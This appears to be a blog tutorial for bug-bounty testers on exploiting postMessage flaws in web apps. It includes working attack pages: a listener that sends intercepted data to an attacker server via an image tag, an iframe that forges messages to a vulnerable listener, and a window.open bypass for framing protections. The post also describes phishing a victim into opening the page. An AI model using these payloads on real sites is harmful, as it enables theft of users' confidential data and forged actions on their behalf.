How to spot and exploit postMessage vulnerablities?
Tags: javascript, testing, security, webdev
Published: 2020-08-30 12:00:14

Hey fam, i hope everyone is doing okay and able to use this time efficiently for self development and to self reflect. This corona virus pandemic has grown a bit tiring to be honest and gets the best of us.

Here is my attempt at helping you understand a bug often overlooked when checking webapps or mobile apps, making it a gold mine for all testers, whether seasoned or new.

Prerequisite: the site should rely on cookies

**CASE 1, Message sent to all origin**

First a little about postMessage, as descirbed in the mozilla documentation the syntax is fairly simple.

`postMessage(message, targetOrigin, [transfer]);`

The problem however occurs when the target origin is set to * aka everywhere or lets say to xyz.com but improper implentation allows one to bypass it by creating domain like xyz.computer.com. As most of you must have guessed by now the data is not being restricted to the same origin(the original domain) and thus in theory can be leaked.
Lets take a closer look at how this can be achieved


```
<script>
window.addEventListener("message", function(event){
document.write("<img src='http://192.168.1.5:8000/?leak="+event.data.value+"'></img>");
}, false);
window.open("vulnerable page leaking data");
</script>
```

I know this must look kind of confusing at first look but stay with me:

Since the message is being sent to all origins, we should be able to catch it. So we created a malicious html page that has an event listener basically a kind of catcher that catches any data sent by post message.

The 3rd line document.write, is nothing but a classic leaking of important data using image tag. What we did is we created local server at our computer (http Simpleserver python works) and sent this data we catched to our pc by writing a img on src our_pc_ip(please note you need a public ip):port_number?leak=confidential_data.

The 4th line is basically opening the vulnerable page so that it send the postMessage data to all origins and our script catches it as soon as data is transmitted.

So basically this page is hosted and victim is phished to open it, as soon as they open it because the page relies on cookies, the site gets opened with authentication signed in thus leaking the data confidential to that user.

**CASE 2, the site is listening to messages from any origin**

But what if the event listener is listening to all messages irrespective of the origin. In that case it becomes possible to forge a message and send it to the user(which can range from a self xss to any authenticated action like sharing of documents).


```
<html>
<head>
<script>
function hack(){
setTimeout(function(){document.getElementById("i").contentWindow.postMessage('The_message','*');},2000);
};
</script>
</head>
<body>
  <iframe id="i" src="vulnerable page"></iframe>
<script>hack();</script>
</body>
</html>
```


here, what we did is we created a malicious html page but this time we opened the page in an iframe and use the base page to send a message with origin *(basically to all targets for easier exploitation). The eventListener in the vulnerable page gets the message and since the origin is not properly filtered it executes the command and allows the action.

Here, 2000 signifies 2 second, we just wait so that the page gets properly loaded before our script executes.

**HOW TO FIND IT?**

We obviously cannot search all js to every page without wasting a lot of effort to find postMessage functions to check for vulnerablities. An easy way is to use chromedev tools, you simply inspect a page and go to event listeners.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/hlkd2jgdfbzmm8w8y066.png)

We can clearly see and locate the message under event listeners and thus check for vulns.

**WHAT IF X-FRAME IS USED AND WE CANNOT USE IFRAME?**

Luckily there is a bypass for that, we can just use javascript completely to load the page.

```
<html>
<body>
<script>
car w=window.open("url here","hack")
setTimeout(function(){w.postMessage('text here','*');},2000);
</script>
</body>
</html>
```

I hope you enjoyed reading this!